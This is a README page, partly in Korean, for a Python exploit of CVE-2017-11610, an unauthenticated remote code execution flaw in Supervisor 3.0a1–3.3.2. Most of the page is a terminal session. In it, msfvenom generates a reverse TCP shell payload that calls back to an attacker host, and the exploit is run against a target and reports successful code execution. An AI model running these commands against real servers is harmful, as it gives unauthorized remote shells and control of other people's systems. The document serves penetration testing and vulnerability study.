ivanitlearning/cve-2017-11610Supervisor 3.0a1~3.3.2에 대한 인증되지 않은 RCE 익스플로잇 (Python ≥3.6 단독 실행)
Supervisor 3.0a1~3.3.2용 독립 실행형 Python ≥3.6 인증 없는 RCE 익스플로잇으로, 이 Metasploit 모듈에서 재작성되었습니다. 설명은 이 게시물을 참조하세요.
Supervisor 3.3.2를 실행하는 이 대상 환경에서 Python 3.7로 테스트했습니다.
root@Kali:~/Infosec/RubyStuff/Supervisor-3.3.2# ./exploit.py -h
usage: exploit.py [-h] -rhost RHOST [-rport RPORT] -payload PAYLOAD
[-rpcpath RPCPATH]
Generate the payload first, eg:
msfvenom -a x64 --platform Linux -p linux/x64/shell_reverse_tcp LHOST=192.168.92.134 LPORT=4445 -f elf -o dir/payload.elf
Required arguments:
-rhost RHOST Target host running Supervisor eg. 192.168.92.153
-payload PAYLOAD Path to the ELF payload. eg dir/payload.elf
Optional arguments:
-rport RPORT Target port running Supervisor. Default: 9001
-rpcpath RPCPATH Path to the XML-RPC endpoint on Supervisor. Default: '/RPC2' as in http://192.168.92.153:9001/RPC2
Call the exploit like this:
./exploit.py -rhost 192.168.92.153 -rport 9001 -rpcpath /RPC2 -payload dir/payload.elf
root@Kali:~/Infosec/RubyStuff/Supervisor-3.3.2# msfvenom -a x64 --platform Linux -p linux/x64/shell_reverse_tcp LHOST=192.168.92.134 LPORT=4445 -f elf -o payload.elf
No encoder or badchars specified, outputting raw payload
Payload size: 74 bytes
Final size of elf file: 194 bytes
Saved as: payload.elf
root@Kali:~/Infosec/RubyStuff/Supervisor-3.3.2# ./exploit.py -rhost 192.168.92.153 -payload payload.elf
Extracting version from web interface..
Vulnerable version found: 3.3.2
Sending XML-RPC payload via POST to 192.168.92.153:9001/RPC2
Successful remote code execution